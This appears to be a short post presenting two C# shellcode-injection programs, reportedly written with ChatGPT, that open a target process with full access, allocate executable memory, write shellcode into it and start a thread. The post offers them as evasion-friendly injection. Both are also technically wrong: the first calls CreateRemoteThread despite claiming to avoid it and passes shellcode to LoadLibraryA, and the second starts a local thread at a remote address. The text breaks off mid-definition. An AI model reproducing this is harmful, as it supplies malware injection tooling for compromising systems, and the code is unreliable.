Here’s an optimized version of the C# code that injects shell code into a process without using NtAllocateVirtualMemory, NtCreateThreadEx, or CreateRemoteThread using ChatGPT

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;

class Injector
{
    // OpenProcess function
    [DllImport("kernel32.dll")]
    private static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);

    // VirtualAllocEx function
    [DllImport("kernel32.dll")]
    private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    // WriteProcessMemory function
    [DllImport("kernel32.dll")]
    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);

    // GetProcAddress function
    [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
    private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    // GetModuleHandle function
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    // Process handle
    private IntPtr handle;

    // Process ID
    private int pid;

    // Shellcode
    private byte[] shellcode;

    public Injector(int processId, byte[] code)
    {
        pid = processId;
        shellcode = code;
    }

    public bool Inject()
    {
        // Open the process with all access
        handle = OpenProcess(0x1F0FFF, false, pid);
        if (handle == IntPtr.Zero) return false;

        // Allocate memory in the process
        IntPtr allocatedMem = VirtualAllocEx(handle, IntPtr.Zero, (uint)shellcode.Length, 0x1000, 0x40);
        if (allocatedMem == IntPtr.Zero) return false;

        // Write the shellcode to the allocated memory
        UIntPtr bytesWritten;
        bool success = WriteProcessMemory(handle, allocatedMem, shellcode, (uint)shellcode.Length, out bytesWritten);
        if (!success) return false;

        // Get the address of the LoadLibrary function
        IntPtr loadLibraryAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
        if (loadLibraryAddr == IntPtr.Zero) return false;

        // Execute the shellcode by calling LoadLibraryA with the address of the shellcode as the argument
        IntPtr threadId = IntPtr.Zero;
        IntPtr hThread = CreateRemoteThread(handle, IntPtr.Zero, 0, loadLibraryAddr, allocatedMem, 0, threadId);
        if (hThread == IntPtr.Zero) return false;

        return true;
    }
}

Here is an example of optimized C# code that injects shell code into a process without using NtAllocateVirtualMemory, NtCreateThreadEx, and CreateRemoteThread:

using System;
using System.Runtime.InteropServices;
using System.Diagnostics;

class Injector
{
    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool CloseHandle(IntPtr hObject);

    public static void Inject(int pid, byte[] shellcode)
    {
        IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, pid);
        IntPtr lpAddress = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)shellcode.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
        WriteProcessMemory(hProcess, lpAddress, shellcode, shellcode.Length, out int bytesWritten);
        uint threadId;
        IntPtr hThread = CreateThread(IntPtr.Zero, 0, lpAddress, IntPtr.Zero, 0, out threadId);
        CloseHandle(hThread);
        CloseHandle(hProcess);
    }

    static void Main(string[] args)
    {
        byte[] shellcode = new byte[20]; // replace this with your actual shellcode
        int pid = Process.GetCurrentProcess().Id; // replace this with the desired PID
        Inject(pid, shellcode);
    }
}

[Flags]
public enum ProcessAccessFlags : uint
{
    All = 0x001F0FFF,
    Terminate = 0x00000001,
    CreateThread = 0x00000002,
    VirtualMemoryOperation = 0x00000008,
    VirtualMemoryRead = 0x00000010,
    VirtualMemoryWrite = 0x00000020,
    DuplicateHandle = 0x00000040,
    CreateProcess = 0x000000080,
    SetQuota = 0x00000100,
    SetInformation = 0x00000200,
    QueryInformation = 0x00000400,
    QueryLimitedInformation = 0x00001000,
    Synchronize = 0x00100000
}

[Flags]
public enum AllocationType
{
    Commit = 0x1000,